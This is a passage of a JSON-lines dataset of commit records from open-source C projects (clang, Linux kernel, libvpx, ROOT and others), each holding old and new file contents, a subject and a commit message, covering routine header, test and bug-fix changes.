uclibc-ng,ndmsystems\/uClibc,brgl\/uclibc-ng,hjl-tools\/uClibc,ffainelli\/uClibc,kraj\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,waweber\/uclibc-clang,ChickenRunjyd\/klee-uclibc,hjl-tools\/uClibc,majek\/uclibc-vx32,gittup\/uClibc,ChickenRunjyd\/klee-uclibc,ffainelli\/uClibc,ndmsystems\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,wbx-github\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,foss-xtensa\/uClibc,klee\/klee-uclibc,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,ChickenRunjyd\/klee-uclibc,brgl\/uclibc-ng,ysat0\/uClibc,kraj\/uClibc,atgreen\/uClibc-moxie,wbx-github\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,foss-for-synopsys-dwc-arc-processors\/uClibc,kraj\/uClibc,wbx-github\/uclibc-ng,kraj\/uclibc-ng,waweber\/uclibc-clang,ChickenRunjyd\/klee-uclibc,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,ndmsystems\/uClibc,kraj\/uClibc,skristiansson\/uClibc-or1k,hjl-tools\/uClibc"}
{"commit":"5781c503d06f05637262564eafbb324adb39b344","old_file":"SVNetworking\/SVNetworking\/SVNetworking.h","new_file":"SVNetworking\/SVNetworking\/SVNetworking.h","old_contents":"\/\/\n\/\/  SVNetworking.h\n\/\/  SVNetworking\n\/\/\n\/\/  Created by Nate Stedman on 3\/14\/14.\n\/\/  Copyright (c) 2014 Svpply. All rights reserved.\n\/\/\n\n#import <SVNetworking\/NSObject+SVBindings.h>\n#import <SVNetworking\/NSObject+SVMultibindings.h>\n#import <SVNetworking\/SVDataRequest.h>\n#import <SVNetworking\/SVDiskCache.h>\n#import <SVNetworking\/SVFunctional.h>\n#import <SVNetworking\/SVJSONRequest.h>\n#import <SVNetworking\/SVRemoteImage.h>\n#import <SVNetworking\/SVRemoteDataResource.h>\n#import <SVNetworking\/SVRemoteJSONResource.h>\n#import <SVNetworking\/SVRemoteResource.h>\n#import <SVNetworking\/SVRequest.h>\n","new_contents":"\/\/\n\/\/  SVNetworking.h\n\/\/  SVNetworking\n\/\/\n\/\/  Created by Nate Stedman on 3\/14\/14.\n\/\/  Copyright (c) 2014 Svpply. All rights reserved.\n\/\/\n\n#import <SVNetworking\/NSObject+SVBindings.h>\n#import <SVNetworking\/NSObject+SVMultibindings.h>\n#import <SVNetworking\/SVDataRequest.h>\n#import <SVNetworking\/SVDiskCache.h>\n#import <SVNetworking\/SVFunctional.h>\n#import <SVNetworking\/SVJSONRequest.h>\n#import <SVNetworking\/SVRemoteImage.h>\n#import <SVNetworking\/SVRemoteDataRequestResource.h>\n#import <SVNetworking\/SVRemoteDataResource.h>\n#import <SVNetworking\/SVRemoteJSONRequestResource.h>\n#import <SVNetworking\/SVRemoteJSONResource.h>\n#import <SVNetworking\/SVRemoteResource.h>\n#import <SVNetworking\/SVRequest.h>\n","subject":"Add new resource classes to the header.","message":"Add new resource classes to the header.\n","lang":"C","license":"bsd-3-clause","repos":"eBay\/SVNetworking,eBay\/SVNetworking"}
{"commit":"5031c46ec40984d57fd0e4a1e53dc3490603b2ae","old_file":"test\/PCH\/asm.c","new_file":"test\/PCH\/asm.c","old_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -include %S\/asm.h -fsyntax-only -verify %s &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -emit-pch -o %t %S\/asm.h &&\n\/\/ RUN: clang-cc -include-pch %t -fsyntax-only -verify %s \n\n\nvoid call_f(void) { f(); }\n\nvoid call_clobbers(void) { clobbers(); }\n","new_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -triple i386-unknown-unknown -include %S\/asm.h -fsyntax-only -verify %s &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -triple i386-unknown-unknown -emit-pch -o %t %S\/asm.h &&\n\/\/ RUN: clang-cc -triple i386-unknown-unknown -include-pch %t -fsyntax-only -verify %s \n\n\nvoid call_f(void) { f(); }\n\nvoid call_clobbers(void) { clobbers(); }\n","subject":"Make this test portable to non-x86 hosts, patch by Mark Cianciosa!","message":"Make this test portable to non-x86 hosts, patch by Mark Cianciosa!\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@71146 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"3624f96f852e276f9fc7731b9c43a9de42dd8983","old_file":"test\/helpers-Server.c","new_file":"test\/helpers-Server.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <inttypes.h>\n\n#include \"Server.h\"\n\nchar char_of_uint8(uint8_t x) {\n  return (char) x;\n}\n\nuint32_t bufstrcpy(char *dst, const char *src) {\n  \/* The F* precondition guarantees that src is zero-terminated *\/\n  return sprintf(dst, \"%s\", src);\n}\n\nuint32_t print_u32(char *dst, uint32_t i) {\n  return sprintf(dst, \"%\"PRIu32, i);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <inttypes.h>\n\n#include \"Server.h\"\n\nuint32_t bufstrcpy(char *dst, const char *src) {\n  \/* The F* precondition guarantees that src is zero-terminated *\/\n  return sprintf(dst, \"%s\", src);\n}\n\nuint32_t print_u32(char *dst, uint32_t i) {\n  return sprintf(dst, \"%\"PRIu32, i);\n}\n","subject":"Remove function now implemented in kremlib","message":"Remove function now implemented in kremlib\n","lang":"C","license":"apache-2.0","repos":"FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin"}
{"commit":"fc066825e6f076f54e3a08f6c498eb49a64aff50","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/attributes\/visibility\/visibility1.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/attributes\/visibility\/visibility1.c","old_contents":"","new_contents":"#include<stdlib.h>\n\nvolatile int i1 __attribute__ ((visibility (\"protected\")));\nvolatile int i2 __attribute__ ((visibility (\"default\")));\nvolatile int i3 __attribute__ ((visibility (\"hidden\")));\nvolatile int i4 __attribute__ ((visibility (\"protected\")));\nvolatile int i5 __attribute__ ((visibility (\"internal\")));\n\nint main() {\n\ti1 = 542;\n\ti2 = 2341;\n\ti3 = 1;\n\ti4 = 4534;\n\ti5 = 12312;\n\tif (i1 != 542) {\n\t\tabort();\n\t}\n\tif (i2 != 2341) {\n\t\tabort();\n\t}\n\tif (i3 != 1) {\n\t\tabort();\n\t}\n\tif (i4 != 4534) {\n\t\tabort();\n\t}\n\tif (i5 != 12312) {\n\t\tabort();\n\t}\n}\n","subject":"Add test case for visibility attributes","message":"Add test case for visibility attributes\n","lang":"C","license":"bsd-3-clause","repos":"grimmerm\/sulong,lxp\/sulong,crbb\/sulong,lxp\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong,grimmerm\/sulong,crbb\/sulong,lxp\/sulong,grimmerm\/sulong,lxp\/sulong,grimmerm\/sulong"}
{"commit":"82b3f8023289175cf756187ab35318066715f430","old_file":"src\/modules\/conf_theme\/e_int_config_theme.h","new_file":"src\/modules\/conf_theme\/e_int_config_theme.h","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_THEME_H\n#define E_INT_CONFIG_THEME_H\n\nEAPI E_Config_Dialog *e_int_config_theme(E_Container *con, const char *params __UNUSED__);\n\nEAPI void             e_int_config_theme_import_done(E_Config_Dialog *dia);\nEAPI void             e_int_config_theme_update(E_Config_Dialog *dia, char *file);\n\n#endif\n#endif\n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_INT_CONFIG_THEME_H\n#define E_INT_CONFIG_THEME_H\n\nEAPI E_Config_Dialog *e_int_config_theme(E_Container *con, const char *params __UNUSED__);\n\nEAPI void             e_int_config_theme_import_done(E_Config_Dialog *dia);\nEAPI void             e_int_config_theme_update(E_Config_Dialog *dia, char *file);\nEAPI void             e_int_config_theme_web_done(E_Config_Dialog *dia);\n\n#endif\n#endif\n","subject":"Declare public function in header.","message":"Declare public function in header.\n\n\ngit-svn-id: 0f3f1c46c6da7ffd142db61e503a7ff63af3a195@35475 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"f755ecfb8cec7b19dff84295309f2afb24a5afd1","old_file":"arch\/powerpc\/platforms\/pseries\/of_helpers.c","new_file":"arch\/powerpc\/platforms\/pseries\/of_helpers.c","old_contents":"#include <linux\/string.h>\n#include <linux\/err.h>\n#include <linux\/slab.h>\n#include <linux\/of.h>\n\n#include \"of_helpers.h\"\n\n\/**\n * pseries_of_derive_parent - basically like dirname(1)\n * @path:  the full_name of a node to be added to the tree\n *\n * Returns the node which should be the parent of the node\n * described by path.  E.g., for path = \"\/foo\/bar\", returns\n * the node with full_name = \"\/foo\".\n *\/\nstruct device_node *pseries_of_derive_parent(const char *path)\n{\n\tstruct device_node *parent;\n\tchar *parent_path = \"\/\";\n\tconst char *tail = kbasename(path);\n\n\t\/* reject if path is \"\/\" *\/\n\tif (!strcmp(path, \"\/\"))\n\t\treturn ERR_PTR(-EINVAL);\n\n\tif (tail > path + 1) {\n\t\tparent_path = kstrndup(path, tail - path, GFP_KERNEL);\n\t\tif (!parent_path)\n\t\t\treturn ERR_PTR(-ENOMEM);\n\t}\n\tparent = of_find_node_by_path(parent_path);\n\tif (strcmp(parent_path, \"\/\"))\n\t\tkfree(parent_path);\n\treturn parent ? parent : ERR_PTR(-EINVAL);\n}\n","new_contents":"#include <linux\/string.h>\n#include <linux\/err.h>\n#include <linux\/slab.h>\n#include <linux\/of.h>\n\n#include \"of_helpers.h\"\n\n\/**\n * pseries_of_derive_parent - basically like dirname(1)\n * @path:  the full_name of a node to be added to the tree\n *\n * Returns the node which should be the parent of the node\n * described by path.  E.g., for path = \"\/foo\/bar\", returns\n * the node with full_name = \"\/foo\".\n *\/\nstruct device_node *pseries_of_derive_parent(const char *path)\n{\n\tstruct device_node *parent;\n\tchar *parent_path = \"\/\";\n\tconst char *tail;\n\n\t\/* We do not want the trailing '\/' character *\/\n\ttail = kbasename(path) - 1;\n\n\t\/* reject if path is \"\/\" *\/\n\tif (!strcmp(path, \"\/\"))\n\t\treturn ERR_PTR(-EINVAL);\n\n\tif (tail > path) {\n\t\tparent_path = kstrndup(path, tail - path, GFP_KERNEL);\n\t\tif (!parent_path)\n\t\t\treturn ERR_PTR(-ENOMEM);\n\t}\n\tparent = of_find_node_by_path(parent_path);\n\tif (strcmp(parent_path, \"\/\"))\n\t\tkfree(parent_path);\n\treturn parent ? parent : ERR_PTR(-EINVAL);\n}\n","subject":"Correct string length in pseries_of_derive_parent()","message":"powerpc\/pseries: Correct string length in pseries_of_derive_parent()\n\nCommit a030e1e4bbd085bbcfd0a23f8d355fcd41f39bed make a change to use\nkstrndup() instead of kmalloc() + strlcpy() in the pseries_of_derive_parent()\nroutine that introduces a subtle change in the parent path name generated.\nThe kstrndup() routine will copy n characters followed by a terminating null,\nwhereas strlcpy() will copy n-1 characters and add a terminating null.\n\nThis slight difference results in having a parent path that includes the\ntailing '\/' character, \"\/cpus\/\" vs. \"\/cpus\". This then causes the subsequent\ncall to of_find_node_by_path() to fail, and in the case of DLPAR add\noperations the DLPAR request fails.\n\nThis patch decrements the pointer returned from kbasename() to point to the\n'\/' character before the base name instead of the base name. This then\nadjusts the string length calculations to not include the trailing '\/'\nin the parent path name.\n\nSigned-off-by: Nathan Fontenot <4b7bfe500077bf77c5456931a34b0b70e36e0bc6@linux.vnet.ibm.com>\nReviewed-by: Andy Shevchenko <74f0c009df510614346aa771cd21959b78cdb413@linux.intel.com>\nSigned-off-by: Michael Ellerman <864f124608374e06e4da1fa5d2e47ed839b95411@ellerman.id.au>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"3151c3c004a5edac53a35a9a017cd7b9229cc85b","old_file":"runtime\/runtime_vars.c","new_file":"runtime\/runtime_vars.c","old_contents":"\n#include \"gc.h\"\n#include \"runtime_vars.h\"\n#include \"scheduler.h\"\n\nGC_Env* __get_GC_Env()\n{\n#ifdef MULTITHREAD\n    return get_currentthread()->gcEnv;\n#else\n    return currentthread->gcEnv;\n#endif\n}\n","new_contents":"\n#include \"gc.h\"\n#include \"runtime_vars.h\"\n#include \"scheduler.h\"\n\nGC_Env* __get_GC_Env()\n{\n#ifdef MULTITHREAD\n    return get_currentthread()->gcEnv;\n#else\n    return currentthread->gcEnv;\n#endif\n}\n\nThreadData* __mellow_get_cur_green_thread()\n{\n#ifdef MULTITHREAD\n    return get_currentthread();\n#else\n    return currentthread;\n#endif\n}\n","subject":"Add function to get current green thread at-will","message":"Add function to get current green thread at-will\n","lang":"C","license":"mit","repos":"Mellow-Programming-Language\/Mellow,Mellow-Programming-Language\/Mellow,Mellow-Programming-Language\/Mellow"}
{"commit":"54fcf270dee6ed9d27e23b94129788b758df1e6b","old_file":"include\/uapi\/linux\/cifs\/cifs_mount.h","new_file":"include\/uapi\/linux\/cifs\/cifs_mount.h","old_contents":"\/*\n *   include\/uapi\/linux\/cifs\/cifs_mount.h\n *\n *   Author(s): Scott Lovenberg (scott.lovenberg@gmail.com)\n *\n *   This library is free software; you can redistribute it and\/or modify\n *   it under the terms of the GNU Lesser General Public License as published\n *   by the Free Software Foundation; either version 2.1 of the License, or\n *   (at your option) any later version.\n *\n *   This library is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See\n *   the GNU Lesser General Public License for more details.\n *\/\n#ifndef _CIFS_MOUNT_H\n#define _CIFS_MOUNT_H\n\n\/* Max string lengths for cifs mounting options. *\/\n#define CIFS_MAX_DOMAINNAME_LEN 256 \/* max fully qualified domain name *\/\n#define CIFS_MAX_USERNAME_LEN   256 \/* reasonable max for current servers *\/\n#define CIFS_MAX_PASSWORD_LEN   512 \/* Windows max seems to be 256 wide chars *\/\n#define CIFS_MAX_SHARE_LEN       80\n\n#endif \/* _CIFS_MOUNT_H *\/\n","new_contents":"\/*\n *   include\/uapi\/linux\/cifs\/cifs_mount.h\n *\n *   Author(s): Scott Lovenberg (scott.lovenberg@gmail.com)\n *\n *   This library is free software; you can redistribute it and\/or modify\n *   it under the terms of the GNU Lesser General Public License as published\n *   by the Free Software Foundation; either version 2.1 of the License, or\n *   (at your option) any later version.\n *\n *   This library is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See\n *   the GNU Lesser General Public License for more details.\n *\/\n#ifndef _CIFS_MOUNT_H\n#define _CIFS_MOUNT_H\n\n\/* Max string lengths for cifs mounting options. *\/\n#define CIFS_MAX_DOMAINNAME_LEN 256 \/* max fully qualified domain name *\/\n#define CIFS_MAX_USERNAME_LEN   256 \/* reasonable max for current servers *\/\n#define CIFS_MAX_PASSWORD_LEN   512 \/* Windows max seems to be 256 wide chars *\/\n#define CIFS_MAX_SHARE_LEN      256 \/* reasonable max share name length *\/\n\n\n#endif \/* _CIFS_MOUNT_H *\/\n","subject":"Expand max share name length to 256","message":"cifs: Expand max share name length to 256\n\nThe old max share name length limit was 80 due to Windows NET SHARE\ncommand not allowing more than that.  However, share names can be much\nlonger.  This is a more reasonable maximum share name length.\n\nSigned-off-by: Scott Lovenberg <15023d7c1da44acb5cafa0fa8ca989be856d31b9@gmail.com>\nReviewed-by: Jeff Layton <4376fbf8623cd7b7c0232225289bb91cedc0a27f@redhat.com>\nSigned-off-by: Steve French <51565b4e5841e493fd669866e11ea3c7c0d781cc@gmail.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"13f68420e7b441d5364055f2cc50f14e7b547f76","old_file":"vp8\/common\/opencl\/idctllm_cl.h","new_file":"vp8\/common\/opencl\/idctllm_cl.h","old_contents":"\/*\n *  Copyright (c) 2010 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"vp8_opencl.h\"\n\n#define CLAMP(x,min,max) if (x < min) x = min; else if ( x > max ) x = max;\n\nconst char *idctCompileOptions = \"-Ivp8\/common\/opencl\";\nconst char *idctllm_cl_file_name = \"vp8\/common\/opencl\/idctllm_cl.cl\";\n\n","new_contents":"\/*\n *  Copyright (c) 2010 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"vp8_opencl.h\"\n\n#define CLAMP(x,min,max) if (x < min) x = min; else if ( x > max ) x = max;\n\n\/\/External functions that are fallbacks if CL is unavailable\nvoid vp8_short_idct4x4llm_c(short *input, short *output, int pitch);\nvoid vp8_short_idct4x4llm_1_c(short *input, short *output, int pitch);\nvoid vp8_dc_only_idct_add_c(short input_dc, unsigned char *pred_ptr, unsigned char *dst_ptr, int pitch, int stride);\nvoid vp8_short_inv_walsh4x4_c(short *input, short *output);\nvoid vp8_short_inv_walsh4x4_1_c(short *input, short *output);\n\nconst char *idctCompileOptions = \"-Ivp8\/common\/opencl\";\nconst char *idctllm_cl_file_name = \"vp8\/common\/opencl\/idctllm_cl.cl\";\n\n","subject":"Declare C fallbacks in IDCT header.","message":"Declare C fallbacks in IDCT header.\n","lang":"C","license":"bsd-3-clause","repos":"awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl"}
{"commit":"1475e4c1f1ae295038b97cbb8cdcdd42e9e27cf1","old_file":"common\/network\/packet_type.h","new_file":"common\/network\/packet_type.h","old_contents":"#ifndef __PACKET_TYPE_H__\n#define __PACKET_TYPE_H__\n\nenum PacketType \n{\n   INVALID,\n   USER,\n   SHARED_MEM_REQ,\n   SHARED_MEM_EVICT,\n   SHARED_MEM_RESPONSE,\n   SHARED_MEM_UPDATE_UNEXPECTED,\n   SHARED_MEM_ACK,\n   SHARED_MEM_TERMINATE_THREADS,\n   MCP_REQUEST_TYPE,\n   MCP_RESPONSE_TYPE,\n   MCP_UTILIZATION_UPDATE_TYPE,\n   NUM_PACKET_TYPES\n};\n\n\/\/ This defines the different static network types\nenum EStaticNetwork\n   {\n      STATIC_NETWORK_USER,\n      STATIC_NETWORK_MEMORY,\n      STATIC_NETWORK_SYSTEM,\n      NUM_STATIC_NETWORKS\n   };\n\n\/\/ Packets are routed to a static network based on their type. This\n\/\/ gives the static network to use for a given packet type.\nstatic EStaticNetwork g_type_to_static_network_map[] __attribute__((unused)) = \n   {\n      STATIC_NETWORK_SYSTEM, \/\/ INVALID\n      STATIC_NETWORK_USER,   \/\/ USER\n      STATIC_NETWORK_MEMORY, \/\/ SM_REQ\n      STATIC_NETWORK_MEMORY, \/\/ SM_EVICT\n      STATIC_NETWORK_MEMORY, \/\/ SM_RESPONSE\n      STATIC_NETWORK_MEMORY, \/\/ SM_UPDATE_UNEXPECTED\n      STATIC_NETWORK_MEMORY, \/\/ SM_ACK\n      STATIC_NETWORK_MEMORY, \/\/ SM_TERMINATE_THREADS\n      STATIC_NETWORK_SYSTEM, \/\/ MCP_REQ\n      STATIC_NETWORK_SYSTEM, \/\/ MCP_RESP\n      STATIC_NETWORK_SYSTEM, \/\/ MCP_UTIL\n   };\n\n#endif\n","new_contents":"#ifndef __PACKET_TYPE_H__\n#define __PACKET_TYPE_H__\n\nenum PacketType \n{\n   INVALID,\n   USER,\n   SHARED_MEM_REQ,\n   SHARED_MEM_EVICT,\n   SHARED_MEM_RESPONSE,\n   SHARED_MEM_UPDATE_UNEXPECTED,\n   SHARED_MEM_ACK,\n   SHARED_MEM_TERMINATE_THREADS,\n   MCP_REQUEST_TYPE,\n   MCP_RESPONSE_TYPE,\n   MCP_UTILIZATION_UPDATE_TYPE,\n   MCP_SYSTEM_TYPE,\n   NUM_PACKET_TYPES\n};\n\n\/\/ This defines the different static network types\nenum EStaticNetwork\n   {\n      STATIC_NETWORK_USER,\n      STATIC_NETWORK_MEMORY,\n      STATIC_NETWORK_SYSTEM,\n      NUM_STATIC_NETWORKS\n   };\n\n\/\/ Packets are routed to a static network based on their type. This\n\/\/ gives the static network to use for a given packet type.\nstatic EStaticNetwork g_type_to_static_network_map[] __attribute__((unused)) = \n   {\n      STATIC_NETWORK_SYSTEM, \/\/ INVALID\n      STATIC_NETWORK_USER,   \/\/ USER\n      STATIC_NETWORK_MEMORY, \/\/ SM_REQ\n      STATIC_NETWORK_MEMORY, \/\/ SM_EVICT\n      STATIC_NETWORK_MEMORY, \/\/ SM_RESPONSE\n      STATIC_NETWORK_MEMORY, \/\/ SM_UPDATE_UNEXPECTED\n      STATIC_NETWORK_MEMORY, \/\/ SM_ACK\n      STATIC_NETWORK_MEMORY, \/\/ SM_TERMINATE_THREADS\n      STATIC_NETWORK_USER,   \/\/ MCP_REQ\n      STATIC_NETWORK_USER,   \/\/ MCP_RESP\n      STATIC_NETWORK_SYSTEM, \/\/ MCP_UTIL\n      STATIC_NETWORK_SYSTEM, \/\/ MCP_SYSTEM\n   };\n\n#endif\n","subject":"Expand MCP messages to have user (modeled) and system (magic) types.","message":"[network] Expand MCP messages to have user (modeled) and system (magic) types.\n","lang":"C","license":"mit","repos":"8l\/Graphite,8l\/Graphite,mit-carbon\/Graphite-Cycle-Level,8l\/Graphite,mit-carbon\/Graphite,nkawahara\/Graphite,mit-carbon\/Graphite,fhijaz\/Graphite,nkawahara\/Graphite,mit-carbon\/Graphite-Cycle-Level,mit-carbon\/Graphite,mit-carbon\/Graphite-Cycle-Level,nkawahara\/Graphite,fhijaz\/Graphite,nkawahara\/Graphite,victorisildur\/Graphite,fhijaz\/Graphite,victorisildur\/Graphite,victorisildur\/Graphite,mit-carbon\/Graphite-Cycle-Level,8l\/Graphite,mit-carbon\/Graphite,fhijaz\/Graphite,victorisildur\/Graphite"}
{"commit":"7edfed86771a8b04c8b20919311f5493e07f775f","old_file":"core\/cont\/inc\/TListOfTypes.h","new_file":"core\/cont\/inc\/TListOfTypes.h","old_contents":"\/\/ @(#)root\/cont\n\/\/ Author: Philippe Canal Aug 2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TListOfTypes\n#define ROOT_TListOfTypes\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TListOfTypes                                                         \/\/\n\/\/                                                                      \/\/\n\/\/ A collection of TDataType designed to hold the typedef information   \/\/\n\/\/ and numerical type information.  The collection is populated on      \/\/\n\/\/ demand.                                                              \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_THastTable\n#include \"THashTable.h\"\n#endif\n\nclass TDataType;\n\nclass TListOfTypes : public THashTable\n{\npublic:\n   TListOfTypes();\n   \n   using THashTable::FindObject;\n   virtual TObject   *FindObject(const char *name) const;\n   \n   virtual TDataType *FindType(const char *name) const;\n   \n   ClassDef(TListOfTypes,3); \/\/ Specical container for the list of types.\n};\n\n\n#endif\n\n","new_contents":"\/\/ @(#)root\/cont\n\/\/ Author: Philippe Canal Aug 2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TListOfTypes\n#define ROOT_TListOfTypes\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TListOfTypes                                                         \/\/\n\/\/                                                                      \/\/\n\/\/ A collection of TDataType designed to hold the typedef information   \/\/\n\/\/ and numerical type information.  The collection is populated on      \/\/\n\/\/ demand.                                                              \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_THastTable\n#include \"THashTable.h\"\n#endif\n\nclass TDataType;\n\nclass TListOfTypes : public THashTable\n{\npublic:\n   TListOfTypes();\n   \n   using THashTable::FindObject;\n   virtual TObject   *FindObject(const char *name) const;\n   \n   TDataType *FindType(const char *name) const;\n   \n   ClassDef(TListOfTypes,2); \/\/ Specical container for the list of types.\n};\n\n\n#endif\n\n","subject":"Remove unnecessary virtual keyword. Lower version number to minimun.","message":"Remove unnecessary virtual keyword.  Lower version number to minimun.\n","lang":"C","license":"lgpl-2.1","repos":"CristinaCristescu\/root,root-mirror\/root,agarciamontoro\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,CristinaCristescu\/root,perovic\/root,cxx-hep\/root-cern,Duraznos\/root,esakellari\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,jrtomps\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,karies\/root,Y--\/root,beniz\/root,veprbl\/root,lgiommi\/root,lgiommi\/root,smarinac\/root,root-mirror\/root,zzxuanyuan\/root,nilqed\/root,omazapa\/root-old,nilqed\/root,vukasinmilosevic\/root,arch1tect0r\/root,esakellari\/root,perovic\/root,thomaskeck\/root,satyarth934\/root,buuck\/root,gbitzes\/root,simonpf\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,mkret2\/root,sawenzel\/root,gganis\/root,gganis\/root,gbitzes\/root,sirinath\/root,alexschlueter\/cern-root,gganis\/root,vukasinmilosevic\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,olifre\/root,Y--\/root,georgtroska\/root,perovic\/root,simonpf\/root,gbitzes\/root,CristinaCristescu\/root,mkret2\/root,nilqed\/root,sbinet\/cxx-root,veprbl\/root,omazapa\/root-old,sirinath\/root,arch1tect0r\/root,esakellari\/root,dfunke\/root,mkret2\/root,arch1tect0r\/root,gbitzes\/root,pspe\/root,evgeny-boger\/root,krafczyk\/root,dfunke\/root,jrtomps\/root,cxx-hep\/root-cern,omazapa\/root,esakellari\/my_root_for_test,thomaskeck\/root,lgiommi\/root,thomaskeck\/root,gganis\/root,satyarth934\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,0x0all\/ROOT,abhinavmoudgil95\/root,olifre\/root,buuck\/root,evgeny-boger\/root,zzxuanyuan\/root,simonpf\/root,thomaskeck\/root,mkret2\/root,Y--\/root,alexschlueter\/cern-root,davidlt\/root,mattkretz\/root,esakellari\/my_root_for_test,dfunke\/root,karies\/root,thomaskeck\/root,davidlt\/root,simonpf\/root,vukasinmilosevic\/root,omazapa\/root,cxx-hep\/root-cern,pspe\/root,sbinet\/cxx-root,evgeny-boger\/root,bbockelm\/root,omazapa\/root-old,zzxuanyuan\/root,arch1tect0r\/root,0x0all\/ROOT,mattkretz\/root,bbockelm\/root,root-mirror\/root,mhuwiler\/rootauto,zzxuanyuan\/root,nilqed\/root,mattkretz\/root,sirinath\/root,BerserkerTroll\/root,root-mirror\/root,zzxuanyuan\/root,jrtomps\/root,buuck\/root,esakellari\/my_root_for_test,buuck\/root,abhinavmoudgil95\/root,dfu